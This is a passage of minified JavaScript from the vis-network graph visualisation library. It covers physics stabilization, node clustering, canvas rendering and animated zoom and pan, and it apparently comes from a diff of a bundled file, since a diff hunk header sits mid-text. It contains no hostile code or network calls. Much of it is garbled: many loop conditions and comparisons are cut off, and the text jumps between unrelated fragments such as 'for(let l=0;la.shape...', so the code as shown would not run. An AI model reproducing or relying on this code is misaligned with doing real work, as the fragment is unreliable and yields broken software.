t=this.body.nodes[e],i=this.physicsBody.forces[e];this.options.wind&&(i.x+=this.options.wind.x,i.y+=this.options.wind.y);const C=this.physicsBody.velocities[e];return this.previousStates[e]={x:t.x,y:t.y,vx:C.x,vy:C.y},t.options.fixed.x===!1?(C.x=this.calculateComponentVelocity(C.x,i.x,t.options.mass),t.x+=C.x*this.timestep):(i.x=0,C.x=0),t.options.fixed.y===!1?(C.y=this.calculateComponentVelocity(C.y,i.y,t.options.mass),t.y+=C.y*this.timestep):(i.y=0,C.y=0),Math.sqrt(Math.pow(C.x,2)+Math.pow(C.y,2))}_freezeNodes(){const e=this.body.nodes;for(const t in e)if(Object.prototype.hasOwnProperty.call(e,t)&&e[t].x&&e[t].y){const i=e[t].options.fixed;this.freezeCache[t]={x:i.x,y:i.y},i.x=!0,i.y=!0}}_restoreFrozenNodes(){const e=this.body.nodes;for(const t in e)Object.prototype.hasOwnProperty.call(e,t)&&this.freezeCache[t]!==void 0&&(e[t].options.fixed.x=this.freezeCache[t].x,e[t].options.fixed.y=this.freezeCache[t].y);this.freezeCache={}}stabilize(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:this.options.stabilization.iterations;if(typeof e!="number"&&(e=this.options.stabilization.iterations,console.error("The stabilize method needs a numeric amount of iterations. Switching to default: ",e)),this.physicsBody.physicsNodeIndices.length===0){this.ready=!0;return}this.adaptiveTimestep=this.options.adaptiveTimestep,this.body.emitter.emit("_resizeNodes"),this.stopSimulation(),this.stabilized=!1,this.body.emitter.emit("_blockRedraw"),this.targetIterations=e,this.options.stabilization.onlyDynamicEdges===!0&&this._freezeNodes(),this.stabilizationIterations=0,Ai(()=>this._stabilizationBatch(),0)}_startStabilizing(){return this.startedStabilization===!0?!1:(this.body.emitter.emit("startStabilizing"),this.startedStabilization=!0,!0)}_stabilizationBatch(){const e=()=>this.stabilized===!1&&this.stabilizationIterations{this.body.emitter.emit("stabilizationProgress",{iterations:this.stabilizationIterations,total:this.targetIterations})};this._startStabilizing()&&t();let i=0;for(;e()&&i1&&arguments[1]!==void 0?arguments[1]:[],i=1e9,C=-1e9,o=1e9,s=-1e9,a;if(t.length>0)for(let l=0;la.shape.boundingBox.left&&(o=a.shape.boundingBox.left),sa.shape.boundingBox.top&&(i=a.shape.boundingBox.top),C1&&arguments[1]!==void 0?arguments[1]:[],i=1e9,C=-1e9,o=1e9,s=-1e9,a;if(t.length>0)for(let l=0;la.x&&(o=a.x),sa.y&&(i=a.y),C{delete this.containedEdges[i.id]}),Ee(t.containedNodes,(i,C)=>{this.containedNodes[C]=i}),t.containedNodes={},Ee(t.containedEdges,(i,C)=>{this.containedEdges[C]=i}),t.containedEdges={},Ee(t.edges,i=>{Ee(this.edges,C=>{var o,s;const a=Le(o=C.clusteringEdgeReplacingIds).call(o,i.id);a!==-1&&(Ee(i.clusteringEdgeReplacingIds,l=>{C.clusteringEdgeReplacingIds.push(l),this.body.edges[l].edgeReplacedById=C.id}),ni(s=C.clusteringEdgeReplacingIds).call(s,a,1))})}),t.edges=[]}}class F7{constructor(e){this.body=e,this.clusteredNodes={},this.clusteredEdges={},this.options={},this.defaultOptions={},ht(this.options,this.defaultOptions),this.body.emitter.on("_resetData",()=>{this.clusteredNodes={},this.clusteredEdges={}})}clusterByHubsize(e,t){e===void 0?e=this._getHubSize():typeof e=="object"&&(t=this._checkOptions(e),e=this._getHubSize());const i=[];for(let C=0;C=e&&i.push(o.id)}for(let C=0;C0&&arguments[0]!==void 0?arguments[0]:{},t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;if(e.joinCondition===void 0)throw new Error("Cannot call clusterByNodeData without a joinCondition function in the options.");e=this._checkOptions(e);const i={},C={};Ee(this.body.nodes,(o,s)=>{o.options&&e.joinCondition(o.options)===!0&&(i[s]=o,Ee(o.edges,a=>{this.clusteredEdges[a.id]===void 0&&(C[a.id]=a)}))}),this._cluster(i,C,e,t)}clusterByEdgeCount(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0;t=this._checkOptions(t);const C=[],o={};let s,a,l;for(let u=0;u0&&Je(p).length>0&&D===!0){const z=function(){for(let k=0;k1&&arguments[1]!==void 0?arguments[1]:!0;this.clusterByEdgeCount(1,e,t)}clusterBridges(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;this.clusterByEdgeCount(2,e,t)}clusterByConnection(e,t){var i;let C=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0;if(e===void 0)throw new Error("No nodeId supplied to clusterByConnection!");if(this.body.nodes[e]===void 0)throw new Error("The nodeId given to clusterByConnection does not exist!");const o=this.body.nodes[e];t=this._checkOptions(t,o),t.clusterNodeProperties.x===void 0&&(t.clusterNodeProperties.x=o.x),t.clusterNodeProperties.y===void 0&&(t.clusterNodeProperties.y=o.y),t.clusterNodeProperties.fixed===void 0&&(t.clusterNodeProperties.fixed={},t.clusterNodeProperties.fixed.x=o.options.fixed.x,t.clusterNodeProperties.fixed.y=o.options.fixed.y);const s={},a={},l=o.id,u=Jt.cloneOptions(o);s[l]=o;for(let p=0;p-1&&(a[w.id]=w)}}this._cluster(s,a,t,C)}_createClusterEdges(e,t,i,C){let o,s,a,l,u,h;const p=Je(e),m=[];for(let D=0;D0&&arguments[0]!==void 0?arguments[0]:{};return e.clusterEdgeProperties===void 0&&(e.clusterEdgeProperties={}),e.clusterNodeProperties===void 0&&(e.clusterNodeProperties={}),e}_cluster(e,t,i){let C=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!0;const o=[];for(const h in e)Object.prototype.hasOwnProperty.call(e,h)&&this.clusteredNodes[h]!==void 0&&o.push(h);for(let h=0;hC?a.x:C,o=a.ys?a.y:s;return{x:.5*(i+C),y:.5*(o+s)}}openCluster(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0;if(e===void 0)throw new Error("No clusterNodeId supplied to openCluster.");const C=this.body.nodes[e];if(C===void 0)throw new Error("The clusterNodeId supplied to openCluster does not exist.");if(C.isCluster!==!0||C.containedNodes===void 0||C.containedEdges===void 0)throw new Error("The node:"+e+" is not a valid cluster.");const o=this.findNode(e),s=Le(o).call(o,e)-1;if(s>=0){const h=o[s];this.body.nodes[h]._openChildCluster(e),delete this.body.nodes[e],i===!0&&this.body.emitter.emit("_dataChanged");return}const a=C.containedNodes,l=C.containedEdges;if(t!==void 0&&t.releaseFunction!==void 0&&typeof t.releaseFunction=="function"){const h={},p={x:C.x,y:C.y};for(const v in a)if(Object.prototype.hasOwnProperty.call(a,v)){const w=this.body.nodes[v];h[v]={x:w.x,y:w.y}}const m=t.releaseFunction(p,h);for(const v in a)if(Object.prototype.hasOwnProperty.call(a,v)){const w=this.body.nodes[v];m[v]!==void 0&&(w.x=m[v].x===void 0?C.x:m[v].x,w.y=m[v].y===void 0?C.y:m[v].y)}}else Ee(a,function(h){h.options.fixed.x===!1&&(h.x=C.x),h.options.fixed.y===!1&&(h.y=C.y)});for(const h in a)if(Object.prototype.hasOwnProperty.call(a,h)){const p=this.body.nodes[h];p.vx=C.vx,p.vy=C.vy,p.setOptions({physics:!0}),delete this.clusteredNodes[h]}const u=[];for(let h=0;h0&&sC&&(C=u.edges.length),e+=u.edges.length,t+=Math.pow(u.edges.length,2),i+=1}e=e/i,t=t/i;const o=t-Math.pow(e,2),s=Math.sqrt(o);let a=Math.floor(e+2*s);return a>C&&(a=C),a}_createClusteredEdge(e,t,i,C,o){const s=Jt.cloneOptions(i,"edge");Xe(s,C),s.from=e,s.to=t,s.id="clusterEdge:"+nC(),o!==void 0&&Xe(s,o);const a=this.body.functions.createEdge(s);return a.clusteringEdgeReplacingIds=[i.id],a.connect(),this.body.edges[a.id]=a,a}_clusterEdges(e,t,i,C){if(t instanceof sn){const o=t,s={};s[o.id]=o,t=s}if(e instanceof it){const o=e,s={};s[o.id]=o,e=s}if(i==null)throw new Error("_clusterEdges: parameter clusterNode required");C===void 0&&(C=i.clusterEdgeProperties),this._createClusterEdges(e,t,i,C);for(const o in t)if(Object.prototype.hasOwnProperty.call(t,o)&&this.body.edges[o]!==void 0){const s=this.body.edges[o];this._backupEdgeOptions(s),s.setOptions({physics:!1})}for(const o in e)Object.prototype.hasOwnProperty.call(e,o)&&(this.clusteredNodes[o]={clusterId:i.id,node:this.body.nodes[o]},this.body.nodes[o].setOptions({physics:!1}))}_getClusterNodeForNode(e){if(e===void 0)return;const t=this.clusteredNodes[e];if(t===void 0)return;const i=t.clusterId;if(i!==void 0)return this.body.nodes[i]}_filter(e,t){const i=[];return Ee(e,C=>{t(C)&&i.push(C)}),i}_updateState(){let e;const t=[],i={},C=l=>{Ee(this.body.nodes,u=>{u.isCluster===!0&&l(u)})};for(e in this.clusteredNodes){if(!Object.prototype.hasOwnProperty.call(this.clusteredNodes,e))continue;this.body.nodes[e]===void 0&&t.push(e)}C(function(l){for(let u=0;u{const u=this.body.edges[l];(u===void 0||!u.endPointsValid())&&(i[l]=l)}),C(function(l){Ee(l.containedEdges,(u,h)=>{!u.endPointsValid()&&!i[h]&&(i[h]=h)})}),Ee(this.body.edges,(l,u)=>{let h=!0;const p=l.clusteringEdgeReplacingIds;if(p!==void 0){let m=0;Ee(p,v=>{const w=this.body.edges[v];w!==void 0&&w.endPointsValid()&&(m+=1)}),h=m>0}(!l.endPointsValid()||!h)&&(i[u]=u)}),C(l=>{Ee(i,u=>{delete l.containedEdges[u],Ee(l.edges,(h,p)=>{if(h.id===u){l.edges[p]=null;return}h.clusteringEdgeReplacingIds=this._filter(h.clusteringEdgeReplacingIds,function(m){return!i[m]})}),l.edges=this._filter(l.edges,function(h){return h!==null})})}),Ee(i,l=>{delete this.clusteredEdges[l]}),Ee(i,l=>{delete this.body.edges[l]});const o=Je(this.body.edges);Ee(o,l=>{const u=this.body.edges[l],h=this._isClusteredNode(u.fromId)||this._isClusteredNode(u.toId);if(h!==this._isClusteredEdge(u.id))if(h){const p=this._getClusterNodeForNode(u.fromId);p!==void 0&&this._clusterEdges(this.body.nodes[u.fromId],u,p);const m=this._getClusterNodeForNode(u.toId);m!==void 0&&this._clusterEdges(this.body.nodes[u.toId],u,m)}else delete this._clusterEdges[l],this._restoreEdge(u)});let s=!1,a=!0;for(;a;){const l=[];C(function(u){const h=Je(u.containedNodes).length,p=u.options.allowSingleNodeCluster===!0;(p&&h<1||!p&&h<2)&&l.push(u.id)});for(let u=0;u0,s=s||a}s&&this._updateState()}_isClusteredNode(e){return this.clusteredNodes[e]!==void 0}_isClusteredEdge(e){return this.clusteredEdges[e]!==void 0}}class V7{constructor(e,t){this.body=e,this.canvas=t,this.redrawRequested=!1,this.requestAnimationFrameRequestId=void 0,this.renderingActive=!1,this.renderRequests=0,this.allowRedraw=!0,this.dragging=!1,this.zooming=!1,this.options={},this.defaultOptions={hideEdgesOnDrag:!1,hideEdgesOnZoom:!1,hideNodesOnDrag:!1},ht(this.options,this.defaultOptions),this.bindEventListeners()}bindEventListeners(){var e;this.body.emitter.on("dragStart",()=>{this.dragging=!0}),this.body.emitter.on("dragEnd",()=>{this.dragging=!1}),this.body.emitter.on("zoom",()=>{this.zooming=!0,window.clearTimeout(this.zoomTimeoutId),this.zoomTimeoutId=Ai(()=>{var t;this.zooming=!1,Q(t=this._requestRedraw).call(t,this)()},250)}),this.body.emitter.on("_resizeNodes",()=>{this._resizeNodes()}),this.body.emitter.on("_redraw",()=>{this.renderingActive===!1&&this._redraw()}),this.body.emitter.on("_blockRedraw",()=>{this.allowRedraw=!1}),this.body.emitter.on("_allowRedraw",()=>{this.allowRedraw=!0,this.redrawRequested=!1}),this.body.emitter.on("_requestRedraw",Q(e=this._requestRedraw).call(e,this)),this.body.emitter.on("_startRendering",()=>{this.renderRequests+=1,this.renderingActive=!0,this._startRendering()}),this.body.emitter.on("_stopRendering",()=>{this.renderRequests-=1,this.renderingActive=this.renderRequests>0,this.requestAnimationFrameRequestId=void 0}),this.body.emitter.on("destroy",()=>{this.renderRequests=0,this.allowRedraw=!1,this.renderingActive=!1,window.cancelAnimationFrame(this.requestAnimationFrameRequestId),this.body.emitter.off()})}setOptions(e){e!==void 0&&JA(["hideEdgesOnDrag","hideEdgesOnZoom","hideNodesOnDrag"],this.options,e)}_startRendering(){if(this.renderingActive===!0&&this.requestAnimationFrameRequestId===void 0){var e;this.requestAnimationFrameRequestId=window.requestAnimationFrame(Q(e=this._renderStep).call(e,this),this.simulationInterval)}}_renderStep(){this.renderingActive===!0&&(this.requestAnimationFrameRequestId=void 0,this._startRendering(),this._redraw())}redraw(){this.body.emitter.emit("setSize"),this._redraw()}_requestRedraw(){this.redrawRequested!==!0&&this.renderingActive===!1&&this.allowRedraw===!0&&(this.redrawRequested=!0,window.requestAnimationFrame(()=>{this._redraw(!1)}))}_redraw(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!1;if(this.allowRedraw===!0){this.body.emitter.emit("initRedraw"),this.redrawRequested=!1;const t={drawExternalLabels:null};(this.canvas.frame.canvas.width===0||this.canvas.frame.canvas.height===0)&&this.canvas.setSize(),this.canvas.setTransform();const i=this.canvas.getContext(),C=this.canvas.frame.canvas.clientWidth,o=this.canvas.frame.canvas.clientHeight;if(i.clearRect(0,0,C,o),this.canvas.frame.clientWidth===0)return;if(i.save(),i.translate(this.body.view.translation.x,this.body.view.translation.y),i.scale(this.body.view.scale,this.body.view.scale),i.beginPath(),this.body.emitter.emit("beforeDrawing",i),i.closePath(),e===!1&&(this.dragging===!1||this.dragging===!0&&this.options.hideEdgesOnDrag===!1)&&(this.zooming===!1||this.zooming===!0&&this.options.hideEdgesOnZoom===!1)&&this._drawEdges(i),this.dragging===!1||this.dragging===!0&&this.options.hideNodesOnDrag===!1){const{drawExternalLabels:s}=this._drawNodes(i,e);t.drawExternalLabels=s}e===!1&&(this.dragging===!1||this.dragging===!0&&this.options.hideEdgesOnDrag===!1)&&(this.zooming===!1||this.zooming===!0&&this.options.hideEdgesOnZoom===!1)&&this._drawArrows(i),t.drawExternalLabels!=null&&t.drawExternalLabels(),e===!1&&this._drawSelectionBox(i),i.beginPath(),this.body.emitter.emit("afterDrawing",i),i.closePath(),i.restore(),e===!0&&i.clearRect(0,0,C,o)}}_resizeNodes(){this.canvas.setTransform();const e=this.canvas.getContext();e.save(),e.translate(this.body.view.translation.x,this.body.view.translation.y),e.scale(this.body.view.scale,this.body.view.scale);const t=this.body.nodes;let i;for(const C in t)Object.prototype.hasOwnProperty.call(t,C)&&(i=t[C],i.resize(e),i.updateBoundingBox(e,i.selected));e.restore()}_drawNodes(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1;const i=this.body.nodes,C=this.body.nodeIndices;let o;const s=[],a=[],l=20,u=this.canvas.DOMtoCanvas({x:-l,y:-l}),h=this.canvas.DOMtoCanvas({x:this.canvas.frame.canvas.clientWidth+l,y:this.canvas.frame.canvas.clientHeight+l}),p={top:u.y,left:u.x,bottom:h.y,right:h.x},m=[];for(let N=0;N{for(const N of m)N()}}}_drawEdges(e){const t=this.body.edges,i=this.body.edgeIndices;for(let C=0;C{t.width!==0&&(this.body.view.translation.x=t.width*.5),t.height!==0&&(this.body.view.translation.y=t.height*.5)}),this.body.emitter.on("setSize",Q(e=this.setSize).call(e,this)),this.body.emitter.on("destroy",()=>{this.hammerFrame.destroy(),this.hammer.destroy(),this._cleanUp()})}setOptions(e){if(e!==void 0&&JA(["width","height","autoResize"],this.options,e),this._cleanUp(),this.options.autoResize===!0){var t;if(window.ResizeObserver){const C=new ResizeObserver(()=>{this.setSize()===!0&&this.body.emitter.emit("_requestRedraw")}),{frame:o}=this;C.observe(o),this._cleanupCallbacks.push(()=>{C.unobserve(o)})}else{const C=K7(()=>{this.setSize()===!0&&this.body.emitter.emit("_requestRedraw")},1e3);this._cleanupCallbacks.push(()=>{clearInterval(C)})}const i=Q(t=this._onResize).call(t,this);window.addEventListener("resize",i),this._cleanupCallbacks.push(()=>{window.removeEventListener("resize",i)})}}_cleanUp(){var e,t,i;De(e=Un(t=ni(i=this._cleanupCallbacks).call(i,0)).call(t)).call(e,C=>{try{C()}catch(o){console.error(o)}})}_onResize(){this.setSize(),this.body.emitter.emit("_redraw")}_getCameraState(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:this.pixelRatio;this.initialized===!0&&(this.cameraState.previousWidth=this.frame.canvas.width/e,this.cameraState.previousHeight=this.frame.canvas.height/e,this.cameraState.scale=this.body.view.scale,this.cameraState.position=this.DOMtoCanvas({x:.5*this.frame.canvas.width/e,y:.5*this.frame.canvas.height/e}))}_setCameraState(){if(this.cameraState.scale!==void 0&&this.frame.canvas.clientWidth!==0&&this.frame.canvas.clientHeight!==0&&this.pixelRatio!==0&&this.cameraState.previousWidth>0&&this.cameraState.previousHeight>0){const e=this.frame.canvas.width/this.pixelRatio/this.cameraState.previousWidth,t=this.frame.canvas.height/this.pixelRatio/this.cameraState.previousHeight;let i=this.cameraState.scale;e!=1&&t!=1?i=this.cameraState.scale*.5*(e+t):e!=1?i=this.cameraState.scale*e:t!=1&&(i=this.cameraState.scale*t),this.body.view.scale=i;const C=this.DOMtoCanvas({x:.5*this.frame.canvas.clientWidth,y:.5*this.frame.canvas.clientHeight}),o={x:C.x-this.cameraState.position.x,y:C.y-this.cameraState.position.y};this.body.view.translation.x+=o.x*this.body.view.scale,this.body.view.translation.y+=o.y*this.body.view.scale}}_prepareValue(e){if(typeof e=="number")return e+"px";if(typeof e=="string"){if(Le(e).call(e,"%")!==-1||Le(e).call(e,"px")!==-1)return e;if(Le(e).call(e,"%")===-1)return e+"px"}throw new Error("Could not use the value supplied for width or height:"+e)}_create(){for(;this.body.container.hasChildNodes();)this.body.container.removeChild(this.body.container.firstChild);if(this.frame=document.createElement("div"),this.frame.className="vis-network",this.frame.style.position="relative",this.frame.style.overflow="hidden",this.frame.tabIndex=0,this.frame.canvas=document.createElement("canvas"),this.frame.canvas.style.position="relative",this.frame.appendChild(this.frame.canvas),this.frame.canvas.getContext)this._setPixelRatio(),this.setTransform();else{const e=document.createElement("DIV");e.style.color="red",e.style.fontWeight="bold",e.style.padding="10px",e.innerText="Error: your browser does not support HTML canvas",this.frame.canvas.appendChild(e)}this.body.container.appendChild(this.frame),this.body.view.scale=1,this.body.view.translation={x:.5*this.frame.canvas.clientWidth,y:.5*this.frame.canvas.clientHeight},this._bindHammer()}_bindHammer(){this.hammer!==void 0&&this.hammer.destroy(),this.drag={},this.pinch={},this.hammer=new $A(this.frame.canvas),this.hammer.get("pinch").set({enable:!0}),this.hammer.get("pan").set({threshold:5,direction:$A.DIRECTION_ALL}),or(this.hammer,e=>{this.body.eventListeners.onTouch(e)}),this.hammer.on("tap",e=>{this.body.eventListeners.onTap(e)}),this.hammer.on("doubletap",e=>{this.body.eventListeners.onDoubleTap(e)}),this.hammer.on("press",e=>{this.body.eventListeners.onHold(e)}),this.hammer.on("panstart",e=>{this.body.eventListeners.onDragStart(e)}),this.hammer.on("panmove",e=>{this.body.eventListeners.onDrag(e)}),this.hammer.on("panend",e=>{this.body.eventListeners.onDragEnd(e)}),this.hammer.on("pinch",e=>{this.body.eventListeners.onPinch(e)}),this.frame.canvas.addEventListener("wheel",e=>{this.body.eventListeners.onMouseWheel(e)}),this.frame.canvas.addEventListener("mousemove",e=>{this.body.eventListeners.onMouseMove(e)}),this.frame.canvas.addEventListener("contextmenu",e=>{this.body.eventListeners.onContext(e)}),this.hammerFrame=new $A(this.frame),aw(this.hammerFrame,e=>{this.body.eventListeners.onRelease(e)})}setSize(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:this.options.width,t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.options.height;e=this._prepareValue(e),t=this._prepareValue(t);let i=!1;const C=this.frame.canvas.width,o=this.frame.canvas.height,s=this.pixelRatio;if(this._setPixelRatio(),e!=this.options.width||t!=this.options.height||this.frame.style.width!=e||this.frame.style.height!=t)this._getCameraState(s),this.frame.style.width=e,this.frame.style.height=t,this.frame.canvas.style.width="100%",this.frame.canvas.style.height="100%",this.frame.canvas.width=Math.round(this.frame.canvas.clientWidth*this.pixelRatio),this.frame.canvas.height=Math.round(this.frame.canvas.clientHeight*this.pixelRatio),this.options.width=e,this.options.height=t,this.canvasViewCenter={x:.5*this.frame.clientWidth,y:.5*this.frame.clientHeight},i=!0;else{const a=Math.round(this.frame.canvas.clientWidth*this.pixelRatio),l=Math.round(this.frame.canvas.clientHeight*this.pixelRatio);(this.frame.canvas.width!==a||this.frame.canvas.height!==l)&&this._getCameraState(s),this.frame.canvas.width!==a&&(this.frame.canvas.width=a,i=!0),this.frame.canvas.height!==l&&(this.frame.canvas.height=l,i=!0)}return i===!0&&(this.body.emitter.emit("resize",{width:Math.round(this.frame.canvas.width/this.pixelRatio),height:Math.round(this.frame.canvas.height/this.pixelRatio),oldWidth:Math.round(C/this.pixelRatio),oldHeight:Math.round(o/this.pixelRatio)}),this._setCameraState()),this.initialized=!0,i}getContext(){return this.frame.canvas.getContext("2d")}_determinePixelRatio(){const e=this.getContext();if(e===void 0)throw new Error("Could not get canvax context");let t=1;typeof window<"u"&&(t=window.devicePixelRatio||1);const i=e.webkitBackingStorePixelRatio||e.mozBackingStorePixelRatio||e.msBackingStorePixelRatio||e.oBackingStorePixelRatio||e.backingStorePixelRatio||1;return t/i}_setPixelRatio(){this.pixelRatio=this._determinePixelRatio()}setTransform(){const e=this.getContext();if(e===void 0)throw new Error("Could not get canvax context");e.setTransform(this.pixelRatio,0,0,this.pixelRatio,0,0)}_XconvertDOMtoCanvas(e){return(e-this.body.view.translation.x)/this.body.view.scale}_XconvertCanvasToDOM(e){return e*this.body.view.scale+this.body.view.translation.x}_YconvertDOMtoCanvas(e){return(e-this.body.view.translation.y)/this.body.view.scale}_YconvertCanvasToDOM(e){return e*this.body.view.scale+this.body.view.translation.y}canvasToDOM(e){return{x:this._XconvertCanvasToDOM(e.x),y:this._YconvertCanvasToDOM(e.y)}}DOMtoCanvas(e){return{x:this._XconvertDOMtoCanvas(e.x),y:this._YconvertDOMtoCanvas(e.y)}}}function X7(n,e){const t=ht({nodes:e,minZoomLevel:Number.MIN_VALUE,maxZoomLevel:1},n??{});if(!Re(t.nodes))throw new TypeError("Nodes has to be an array of ids.");if(t.nodes.length===0&&(t.nodes=e),!(typeof t.minZoomLevel=="number"&&t.minZoomLevel>0))throw new TypeError("Min zoom level has to be a number higher than zero.");if(!(typeof t.maxZoomLevel=="number"&&t.minZoomLevel<=t.maxZoomLevel))throw new TypeError("Max zoom level has to be a number higher than min zoom level.");return t}class W7{constructor(e,t){var i,C;this.body=e,this.canvas=t,this.animationSpeed=1/this.renderRefreshRate,this.animationEasingFunction="easeInOutQuint",this.easingTime=0,this.sourceScale=0,this.targetScale=0,this.sourceTranslation=0,this.targetTranslation=0,this.lockedOnNodeId=void 0,this.lockedOnNodeOffset=void 0,this.touchTime=0,this.viewFunction=void 0,this.body.emitter.on("fit",Q(i=this.fit).call(i,this)),this.body.emitter.on("animationFinished",()=>{this.body.emitter.emit("_stopRendering")}),this.body.emitter.on("unlockNode",Q(C=this.releaseNode).call(C,this))}setOptions(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{};this.options=e}fit(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1;e=X7(e,this.body.nodeIndices);const i=this.canvas.frame.canvas.clientWidth,C=this.canvas.frame.canvas.clientHeight;let o,s;if(i===0||C===0)s=1,o=Jt.getRange(this.body.nodes,e.nodes);else if(t===!0){let u=0;for(const m in this.body.nodes)Object.prototype.hasOwnProperty.call(this.body.nodes,m)&&this.body.nodes[m].predefinedPosition===!0&&(u+=1);if(u>.5*this.body.nodeIndices.length){this.fit(e,!1);return}o=Jt.getRange(this.body.nodes,e.nodes),s=12.662/(this.body.nodeIndices.length+7.4147)+.0964822;const p=Math.min(i/600,C/600);s*=p}else{this.body.emitter.emit("_resizeNodes"),o=Jt.getRange(this.body.nodes,e.nodes);const u=Math.abs(o.maxX-o.minX)*1.1,h=Math.abs(o.maxY-o.minY)*1.1,p=i/u,m=C/h;s=p<=m?p:m}s>e.maxZoomLevel?s=e.maxZoomLevel:s1&&arguments[1]!==void 0?arguments[1]:{};if(this.body.nodes[e]!==void 0){const i={x:this.body.nodes[e].x,y:this.body.nodes[e].y};t.position=i,t.lockedOnNode=e,this.moveTo(t)}else console.error("Node: "+e+" cannot be found.")}moveTo(e){if(e===void 0){e={};return}if(e.offset!=null){if(e.offset.x!=null){if(e.offset.x=+e.offset.x,!eA(e.offset.x))throw new TypeError('The option "offset.x" has to be a finite number.')}else e.offset.x=0;if(e.offset.y!=null){if(e.offset.y=+e.offset.y,!eA(e.offset.y))throw new TypeError('The option "offset.y" has to be a finite number.')}else e.offset.x=0}else e.offset={x:0,y:0};if(e.position!=null){if(e.position.x!=null){if(e.position.x=+e.position.x,!eA(e.position.x))throw new TypeError('The option "position.x" has to be a finite number.')}else e.position.x=0;if(e.position.y!=null){if(e.position.y=+e.position.y,!eA(e.position.y))throw new TypeError('The option "position.y" has to be a finite number.')}else e.position.x=0}else e.position=this.getViewPosition();if(e.scale!=null){if(e.scale=+e.scale,!(e.scale>0))throw new TypeError('The option "scale" has to be a number greater than zero.')}else e.scale=this.body.view.scale;e.animation===void 0&&(e.animation={duration:0}),e.animation===!1&&(e.animation={duration:0}),e.animation===!0&&(e.animation={}),e.animation.duration===void 0&&(e.animation.duration=1e3),e.animation.easingFunction===void 0&&(e.animation.easingFunction="easeInOutQuad"),this.animateView(e)}animateView(e){if(e===void 0)return;this.animationEasingFunction=e.animation.easingFunction,this.releaseNode(),e.locked===!0&&(this.lockedOnNodeId=e.lockedOnNode,this.lockedOnNodeOffset=e.offset),this.easingTime!=0&&this._transitionRedraw(!0),this.sourceScale=this.body.view.scale,this.sourceTranslation=this.body.view.translation,this.targetScale=e.scale,this.body.view.scale=this.targetScale;const t=this.canvas.DOMtoCanvas({x:.5*this.canvas.frame.canvas.clientWidth,y:.5*this.canvas.frame.canvas.clientHeight}),i={x:t.x-e.position.x,y:t.y-e.position.y};if(this.targetTranslation={x:this.sourceTranslation.x+i.x*this.targetScale+e.offset.x,y:this.sourceTranslation.y+i.y*this.targetScale+e.offset.y},e.animation.duration===0)if(this.lockedOnNodeId!=null){var C;this.viewFunction=Q(C=this._lockedRedraw).call(C,this),this.body.emitter.on("initRedraw",this.viewFunction)}else this.body.view.scale=this.targetScale,this.body.view.translation=this.targetTranslation,this.body.emitter.emit("_requestRedraw");else{var o;this.animationSpeed=1/(60*e.animation.duration*.001)||1/60,this.animationEasingFunction=e.animation.easingFunction,this.viewFunction=Q(o=this._transitionRedraw).call(o,this),this.body.emitter.on("initRedraw",this.viewFunction),this.body.emitter.emit("_startRendering")}}_lockedRedraw(){const e={x:this.body.nodes[this.lockedOnNodeId].x,y:this.body.nodes[this.lockedOnNodeId].y},t=this.canvas.DOMtoCanvas({x:.5*this.canvas.frame.canvas.clientWidth,y:.5*this.canvas.frame.canvas.clientHeight}),i={x:t.x-e.x,y:t.y-e.y},C=this.body.view.translation,o={x:C.x+i.x*this.body.view.scale+this.lockedOnNodeOffset.x,y:C.y+i.y*this.body.view.scale+this.lockedOnNodeOffset.y};this.body.view.translation=o}releaseNode(){this.lockedOnNodeId!==void 0&&this.viewFunction!==void 0&&(this.body.emitter.off("initRedraw",this.viewFunction),this.lockedOnNodeId=void 0,this.lockedOnNodeOffset=void 0)}_transitionRedraw(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!1;this.easingTime+=this.animationSpeed,this.easingTime=e===!0?1:this.easingTime;const t=p6[this.animationEasingFunction](this.easingTime);if(this.body.view.scale=this.sourceScale+(this.targetScale-this.sourceScale)*t,this.body.view.translation={x:this.sourceTranslation.x+(this.targetTranslation.x-this.sourceTranslation.x)*t,y:this.sourceTranslation.y+(this.targetTranslation.y-this.sourceTranslation.y)*t},this.easingTime>=1){if(this.body.emitter.off("initRedraw",this.viewFunction),this.easingTime=0,this.lockedOnNodeId!=null){var i;this.viewFunction=Q(i=this._lockedRedraw).call(i,this),this.body.emitter.on("initRedraw",this.viewFunction)}this.body.emitter.emit("animationFinished")}}getScale(){return this.body.view.scale}getViewPosition(){return this.canvas.DOMtoCanvas({x:.5*this.canvas.frame.canvas.clientWidth,y:.5*this.canvas.frame.canvas.clientHeight})}}var q7=`div.vis-network div.vis-navigation div.vis-button { width: 34px; height: 34px; -moz-border-radius: 17px; @@ -782,7 +782,7 @@ div.vis-network div.vis-navigation div.vis-button.vis-zoomExtends { bottom: 50px; right: 15px; } -`;Ln(HK);function rw(n){var e=n&&n.preventDefault||!1,t=n&&n.container||window,i={},C={keydown:{},keyup:{}},o={},s;for(s=97;s<=122;s++)o[String.fromCharCode(s)]={code:65+(s-97),shift:!1};for(s=65;s<=90;s++)o[String.fromCharCode(s)]={code:s,shift:!0};for(s=0;s<=9;s++)o[""+s]={code:48+s,shift:!1};for(s=1;s<=12;s++)o["F"+s]={code:111+s,shift:!1};for(s=0;s<=9;s++)o["num"+s]={code:96+s,shift:!1};o["num*"]={code:106,shift:!1},o["num+"]={code:107,shift:!1},o["num-"]={code:109,shift:!1},o["num/"]={code:111,shift:!1},o["num."]={code:110,shift:!1},o.left={code:37,shift:!1},o.up={code:38,shift:!1},o.right={code:39,shift:!1},o.down={code:40,shift:!1},o.space={code:32,shift:!1},o.enter={code:13,shift:!1},o.shift={code:16,shift:void 